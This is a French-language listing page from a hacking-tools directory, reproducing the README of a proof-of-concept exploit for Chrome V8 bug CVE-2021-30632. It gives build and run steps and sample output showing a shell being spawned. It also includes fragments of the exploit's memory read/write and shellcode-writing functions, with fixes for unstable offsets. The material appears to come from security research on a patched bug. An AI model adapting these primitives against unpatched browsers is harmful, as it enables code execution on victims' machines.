Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/paulsery/cve-2021-30632
Analyse des VulnérabilitésExploitationShellcodeExploitation d'Applications WebGénération de ShellcodeExploitation de Binaires
GitHubpaulsery/cve-2021-30632

CVE-2021-30632

m-y-mo: https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632

Voir le dépôt
15il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

From: https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632

L'analyse de ce bogue peut être trouvée ici. Il s'agit d'un bogue Chrome signalé par un chercheur anonyme et qui aurait été exploité dans la nature.

L'exploit présenté ici a été testé sur la version 9.3.345.16 de v8 (commit 632e6e7), qui est la version livrée avec Chrome 93.0.4577.63, celle précédant la correction du bogue, sur Ubuntu 20.04. Je ne l'ai pas testé sur Chrome lui-même.

Pour tester, récupérez v8 au commit 632e6e7 et compilez avec les paramètres par défaut en utilisant tools/dev/gm.py x64.release. Ouvrez ensuite le fichier poc.js avec d8 :

./d8 poc.js

Sur Ubuntu 20.04, cela devrait appeler execve("/bin/sh") pour lancer un nouveau processus :

./d8 poc.js instance: 81d42dd elements: 804abd9 rwx page address: 22c70c88b000 intArray addr: 8105d79 intBackingStore: 56498ceb25e0 $

Le code shell peut nécessiter des modifications sur d'autres plateformes.

L'exploit est très fiable, cependant, lors des tests, j'ai remarqué que certains offsets semblent sensibles à de petites modifications du fichier (même l'ajout de commentaires peut poser problème), ce qui ferait échouer l'exploit. Cela ne se produit que lorsque le fichier est modifié et se manifeste généralement par des valeurs aberrantes des adresses, par exemple :

instance: 81d42dd elements: 800222d rwx page address: 3ff199999999999a intArray addr: 81067e1 intBackingStore: 3ff199999999999a

Dans l'exemple ci-dessus, les adresses de la page rwx et d'initBackingStore sont clairement incorrectes. La cause racine semble être une valeur incorrecte pour le stockage d'elements. (800222d n'est pas une valeur valide) Cela peut généralement être corrigé en modifiant les lignes suivantes concernant l'adresse d'elements :

function arbRead(addr) { [elements, addr1] = ftoi32(addrs[1]); //<---- change this to [addr1, elements] = ftoi32(addrs[1]); oobWrite(i32tof(addr,addr1)); //<---- change to oobWrite(i32tof(addr1,addr)); return writeArr[0]; } ... function writeShellCode(rwxAddr, shellArr) { var intArr = new Uint8Array(400); var intArrAddr = addrOf(intArr); console.log("intArray addr: " + intArrAddr.toString(16)); var intBackingStore = ftoi(arbRead(intArrAddr + 0x20)); console.log("intBackingStore: " + ftoi(arbRead(intArrAddr + 0x20)).toString(16));

[elements, addr1] = ftoi32(addrs[1]); //<------ change this to [addr1, elements] = ftoi32(addrs[1]); oobWrite(i32tof(intArrAddr + 0x20, addr1)); //<------ change this to oobWrite(i32tof(addr1, intArrAddr + 0x20)); ... } ... var elementsAddr = ftoi32(addrs[1])[0]; //<------- change this to var elementsAddr = ftoi32(addrs[1])[1];

Cela n'affecte cependant pas la fiabilité de l'exploit car les offsets sont stables tant que le fichier est fixé, mais cela peut poser problème si le poc est modifié. Je ne sais pas ce qui cause cela, mais l'exploit pourrait probablement être rendu plus robuste en faisant correspondre des motifs en mémoire plutôt qu'en se basant sur des offsets fixes.

Télécharger l’outil